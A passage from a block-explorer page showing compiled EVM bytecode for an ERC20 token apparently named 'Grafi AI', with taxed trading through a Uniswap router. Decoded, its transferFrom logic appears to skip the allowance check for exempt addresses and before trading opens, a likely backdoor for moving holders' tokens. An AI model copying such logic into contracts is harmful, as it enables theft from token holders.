611c2b5f830184611c09565b92915050565b611c3a81611b8d565b82525050565b5f602082019050611c535f830184611c31565b92915050565b5f5f5f60608486031215611c7057611c6f611b2f565b5b5f611c7d86828701611b79565b9350506020611c8e86828701611b79565b9250506040611c9f86828701611bac565b9150509250925092565b5f60ff82169050919050565b611cbe81611ca9565b82525050565b5f602082019050611cd75f830184611cb5565b92915050565b5f60208284031215611cf257611cf1611b2f565b5b5f611cff84828501611b79565b91505092915050565b611d1181611b52565b82525050565b5f602082019050611d2a5f830184611d08565b92915050565b5f5f60408385031215611d4657611d45611b2f565b5b5f611d5385828601611b79565b9250506020611d6485828601611b79565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115611df057808604811115611dcc57611dcb611d6e565b5b6001851615611ddb5780820291505b8081029050611de985611d9b565b9450611db0565b94509492505050565b5f82611e085760019050611ec3565b81611e15575f9050611ec3565b8160018114611e2b5760028114611e3557611e64565b6001915050611ec3565b60ff841115611e4757611e46611d6e565b5b8360020a915084821115611e5e57611e5d611d6e565b5b50611ec3565b5060208310610133831016604e8410600b8410161715611e995782820a905083811115611e9457611e93611d6e565b5b611ec3565b611ea68484846001611da7565b92509050818404811115611ebd57611ebc611d6e565b5b81810290505b9392505050565b5f611ed482611b8d565b9150611edf83611ca9565b9250611f0c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611df9565b905092915050565b5f611f1e82611b8d565b9150611f2983611b8d565b9250828202611f3781611b8d565b91508282048414831517611f4e57611f4d611d6e565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611f89602083611aa9565b9150611f9482611f55565b602082019050919050565b5f6020820190508181035f830152611fb681611f7d565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f611ff1601783611aa9565b9150611ffc82611fbd565b602082019050919050565b5f6020820190508181035f83015261201e81611fe5565b9050919050565b5f8151905061203381611b63565b92915050565b5f6020828403121561204e5761204d611b2f565b5b5f61205b84828501612025565b91505092915050565b5f6040820190506120775f830185611d08565b6120846020830184611d08565b9392505050565b5f819050919050565b5f819050919050565b5f6120b76120b26120ad8461208b565b612094565b611b8d565b9050919050565b6120c78161209d565b82525050565b5f60c0820190506120e05f830189611d08565b6120ed6020830188611c31565b6120fa60408301876120be565b61210760608301866120be565b6121146080830185611d08565b61212160a0830184611c31565b979650505050505050565b5f8151905061213a81611b96565b92915050565b5f5f5f6060848603121561215757612156611b2f565b5b5f6121648682870161212c565b93505060206121758682870161212c565b92505060406121868682870161212c565b9150509250925092565b5f6040820190506121a35f830185611d08565b6121b06020830184611c31565b9392505050565b6121c081611bfe565b81146121ca575f5ffd5b50565b5f815190506121db816121b7565b92915050565b5f602082840312156121f6576121f5611b2f565b5b5f612203848285016121cd565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612266602483611aa9565b91506122718261220c565b604082019050919050565b5f6020820190508181035f8301526122938161225a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6122f4602283611aa9565b91506122ff8261229a565b604082019050919050565b5f6020820190508181035f830152612321816122e8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612382602583611aa9565b915061238d82612328565b604082019050919050565b5f6020820190508181035f8301526123af81612376565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612410602383611aa9565b915061241b826123b6565b604082019050919050565b5f6020820190508181035f83015261243d81612404565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61249e602983611aa9565b91506124a982612444565b604082019050919050565b5f6020820190508181035f8301526124cb81612492565b9050919050565b5f6124dc82611b8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250e5761250d611d6e565b5b600182019050919050565b5f61252382611b8d565b915061252e83611b8d565b925082820390508181111561254657612545611d6e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61258382611b8d565b915061258e83611b8d565b92508261259e5761259d61254c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612603602183611aa9565b915061260e826125a9565b604082019050919050565b5f6020820190508181035f830152612630816125f7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6126c381611b52565b82525050565b5f6126d483836126ba565b60208301905092915050565b5f602082019050919050565b5f6126f682612691565b612700818561269b565b935061270b836126ab565b805f5b8381101561273b57815161272288826126c9565b975061272d836126e0565b92505060018101905061270e565b5085935050505092915050565b5f60a08201905061275b5f830188611c31565b61276860208301876120be565b818103604083015261277a81866126ec565b90506127896060830185611d08565b6127966080830184611c31565b9695505050505050565b5f6127aa82611b8d565b91506127b583611b8d565b92508282019050808211156127cd576127cc611d6e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612807601b83611aa9565b9150612812826127d3565b602082019050919050565b5f6020820190508181035f830152612834816127fb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7ca6f45ec6f1db2362cb4dbdc9cb7b078e308e2a39615f88b1c0422e37e91da64736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100c5575f3560e01c806370a082311161007e5780638da5cb5b116100585780638da5cb5b1461025657806395d89b4114610280578063a9059cbb146102aa578063dd62ed3e146102e6576100cc565b806370a08231146101ee578063715018a61461022a5780638a8c523c14610240576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c57806360a6f45a146101c6576100cc565b366100cc57005b5f5ffd5b3480156100db575f5ffd5b506100e4610322565b6040516100f19190611b0f565b60405180910390f35b348015610105575f5ffd5b50610120600480360381019061011b9190611bc0565b61035f565b60405161012d9190611c18565b60405180910390f35b348015610141575f5ffd5b5061014a61037c565b6040516101579190611c40565b60405180910390f35b34801561016b575f5ffd5b5061018660048036038101906101819190611c59565b61039f565b6040516101939190611c18565b60405180910390f35b3480156101a7575f5ffd5b506101b06104e3565b6040516101bd9190611cc4565b60405180910390f35b3480156101d1575f5ffd5b506101ec60048036038101906101e79190611cdd565b6104eb565b005b3480156101f9575f5ffd5b50610214600480360381019061020f9190611cdd565b610596565b6040516102219190611c40565b60405180910390f35b348015610235575f5ffd5b5061023e6105dc565b005b34801561024b575f5ffd5b5061025461072c565b005b348015610261575f5ffd5b5061026a610c4f565b6040516102779190611d17565b60405180910390f35b34801561028b575f5ffd5b50610294610c76565b6040516102a19190611b0f565b60405180910390f35b3480156102b5575f5ffd5b506102d060048036038101906102cb9190611bc0565b610cb3565b6040516102dd9190611c18565b60405180910390f35b3480156102f1575f5ffd5b5061030c60048036038101906103079190611d30565b610cd0565b6040516103199190611c40565b60405180910390f35b60606040518060400160405280600881526020017f4772616669204149000000000000000000000000000000000000000000000000815250905090565b5f61037261036b610d52565b8484610d59565b6001905092915050565b5f6009600a61038b9190611eca565b6305f5e10061039a9190611f14565b905090565b5f6103ab848484610f1c565b600b60169054906101000a900460ff168015610415575060035f6103cd610d52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156104d8576104d784610426610d52565b6104d28560405180606001604052806028815260200161283c6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610489610d52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158b9092919063ffffffff16565b610d59565b5b600190509392505050565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661052b610d52565b73ffffffffffffffffffffffffffffffffffffffff161461054a575f5ffd5b610553476115ed565b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105e4610d52565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890611f9f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610734610d52565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b890611f9f565b60405180910390fd5b600b60149054906101000a900460ff1615610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890612007565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108ad30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6108999190611eca565b6305f5e1006108a89190611f14565b610d59565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610917573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093b9190612039565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e59190612039565b6040518363ffffffff1660e01b8152600401610a02929190612064565b6020604051808303815f875af1158015610a1e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a429190612039565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac930610596565b5f5f610ad3610c4f565b426040518863ffffffff1660e01b8152600401610af5969594939291906120cd565b60606040518083038185885af1158015610b11573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b369190612140565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c0c929190612190565b6020604051808303815f875af1158015610c28573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4c91906121e1565b50565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4752414649000000000000000000000000000000000000000000000000000000815250905090565b5f610cc6610cbf610d52565b8484610f1c565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbe9061227c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c9061230a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0f9190611c40565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190612398565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fef90612426565b60405180910390fd5b5f811161103a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611031906124b4565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110a657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112db57600b60159054906101000a900460ff166110fe576110fb60646110ed600754600854116110da576005546110de565b6006545b8561165590919063ffffffff16565b6116cc90919063ffffffff16565b90505b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111a75750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111fa575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156112175760085f815480929190611211906124d2565b91905055505b600b60159054906101000a900460ff161580156112805750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156112985750600b60169054906101000a900460ff165b156112da575f6112a730610596565b90505f8111156112cf576112ce6112c9846112c484600954611715565b611715565b61172d565b5b6112d8476115ed565b505b5b61132b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461199890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113ce611382828461199890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119e190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611471848661199890919063ffffffff16565b60405161147e9190611c40565b60405180910390a35f811115611585576114de8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119e190919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161157c9190611c40565b60405180910390a35b50505050565b5f8383111582906115d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c99190611b0f565b60405180910390fd5b505f83856115e09190612519565b9050809150509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611651573d5f5f3e3d5ffd5b5050565b5f5f8303611665575f90506116c6565b5f82846116729190611f14565b90508284826116819190612579565b146116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b890612619565b60405180910390fd5b809150505b92915050565b5f61170d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a3e565b905092915050565b5f8183116117235782611725565b815b905092915050565b6001600b60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561176457611763612637565b5b6040519080825280602002602001820160405280156117925781602001602082028036833780820191505090505b50905030815f815181106117a9576117a8612664565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561184d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118719190612039565b8160018151811061188557611884612664565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118eb30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d59565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161194d959493929190612748565b5f604051808303815f87803b158015611964575f5ffd5b505af1158015611976573d5f5f3e3d5ffd5b50505050505f600b60156101000a81548160ff02191690831515021790555050565b5f6119d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061158b565b905092915050565b5f5f82846119ef91906127a0565b905083811015611a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2b9061281d565b60405180910390fd5b8091505092915050565b5f5f83118290611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b9190611b0f565b60405180910390fd5b505f8385611a929190612579565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611ae182611a9f565b611aeb8185611aa9565b9350611afb818560208601611ab9565b611b0481611ac7565b840191505092915050565b5f6020820190508181035f830152611b278184611ad7565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611b5c82611b33565b9050919050565b611b6c81611b52565b8114611b76575f5ffd5b50565b5f81359050611b8781611b63565b92915050565b5f819050919050565b611b9f81611b8d565b8114611ba9575f5ffd5b50565b5f81359050611bba81611b96565b92915050565b5f5f60408385031215611bd657611bd5611b2f565b5b5f611be385828601611b79565b9250506020611bf485828601611bac565b9150509250929050565b5f8115159050919050565b611c1281611bfe565b82525050565b5f602082019050611c2b5f830184611c09565b92915050565b611c3a81611b8d565b82525050565b5f602082019050611c535f830184611c31565b92915050565b5f5f5f60608486031215611c7057611c6f611b2f565b5b5f611c7d86828701611b79565b9350506020611c8e86828701611b79565b9250506040611c9f86828701611bac565b9150509250925092565b5f60ff82169050919050565b611cbe81611ca9565b82525050565b5f602082019050611cd75f830184611cb5565b92915050565b5f60208284031215611cf257611cf1611b2f565b5b5f611cff84828501611b79565b91505092915050565b611d1181611b52565b82525050565b5f602082019050611d2a5f830184611d08565b92915050565b5f5f60408385031215611d4657611d45611b2f565b5b5f611d5385828601611b79565b9250506020611d6485828601611b79565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115611df057808604811115611dcc57611dcb611d6e565b5b6001851615611ddb5780820291505b8081029050611de985611d9b565b9450611db0565b94509492505050565b5f82611e085760019050611ec3565b81611e15575f9050611ec3565b8160018114611e2b5760028114611e3557611e64565b6001915050611ec3565b60ff841115611e4757611e46611d6e565b5b8360020a915084821115611e5e57611e5d611d6e565b5b50611ec3565b5060208310610133831016604e8410600b8410161715611e995782820a905083811115611e9457611e93611d6e565b5b611ec3565b611ea68484846001611da7565b92509050818404811115611ebd57611ebc611d6e565b5b81810290505b9392505050565b5f611ed482611b8d565b9150611edf83611ca9565b9250611f0c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611df9565b905092915050565b5f611f1e82611b8d565b9150611f2983611b8d565b9250828202611f3781611b8d565b91508282048414831517611f4e57611f4d611d6e565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611f89602083611aa9565b9150611f9482611f55565b602082019050919050565b5f6020820190508181035f830152611fb681611f7d565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f611ff1601783611aa9565b9150611ffc82611fbd565b602082019050919050565b5f6020820190508181035f83015261201e81611fe5565b9050919050565b5f8151905061203381611b63565b92915050565b5f6020828403121561204e5761204d611b2f565b5b5f61205b84828501612025565b91505092915050565b5f6040820190506120775f830185611d08565b6120846020830184611d08565b9392505050565b5f819050919050565b5f819050919050565b5f6120b76120b26120ad8461208b565b612094565b611b8d565b9050919050565b6120c78161209d565b82525050565b5f60c0820190506120e05f830189611d08565b6120ed6020830188611c31565b6120fa60408301876120be565b61210760608301866120be565b6121146080830185611d08565b61212160a0830184611c31565b979650505050505050565b5f8151905061213a81611b96565b92915050565b5f5f5f6060848603121561215757612156611b2f565b5b5f6121648682870161212c565b93505060206121758682870161212c565b92505060406121868682870161212c565b9150509250925092565b5f6040820190506121a35f830185611d08565b6121b06020830184611c31565b9392505050565b6121c081611bfe565b81146121ca575f5ffd5b50565b5f815190506121db816121b7565b92915050565b5f602082840312156121f6576121f5611b2f565b5b5f612203848285016121cd565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612266602483611aa9565b91506122718261220c565b604082019050919050565b5f6020820190508181035f8301526122938161225a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6122f4602283611aa9565b91506122ff8261229a565b604082019050919050565b5f6020820190508181035f830152612321816122e8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612382602583611aa9565b915061238d82612328565b604082019050919050565b5f6020820190508181035f8301526123af81612376565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612410602383611aa9565b915061241b826123b6565b604082019050919050565b5f6020820190508181035f83015261243d81612404565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61249e602983611aa9565b91506124a982612444565b604082019050919050565b5f6020820190508181035f8301526124cb81612492565b9050919050565b5f6124dc82611b8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250e5761250d611d6e565b5b600182019050919050565b5f61252382611b8d565b915061252e83611b8d565b925082820390508181111561254657612545611d6e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61258382611b8d565b915061258e83611b8d565b92508261259e5761259d61254c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612603602183611aa9565b915061260e826125a9565b604082019050919050565b5f6020820190508181035f830152612630816125f7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6126c381611b52565b82525050565b5f6126d483836126ba565b60208301905092915050565b5f602082019050919050565b5f6126f682612691565b612700818561269b565b935061270b836126ab565b805f5b8381101561273b57815161272288826126c9565b975061272d836126e0565b92505060018101905061270e565b5085935050505092915050565b5f60a08201905061275b5f830188611c31565b61276860208301876120be565b818103604083015261277a81866126ec565b90506127896060830185611d08565b6127966080830184611c31565b9695505050505050565b5f6127aa82611b8d565b91506127b583611b8d565b92508282019050808211156127cd576127cc611d6e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612807601b83611aa9565b9150612812826127d3565b602082019050919050565b5f6020820190508181035f830152612834816127fb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7ca6f45ec6f1db2362cb4dbdc9cb7b078e308e2a39615f88b1c0422e37e91da64736f6c634300081c0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.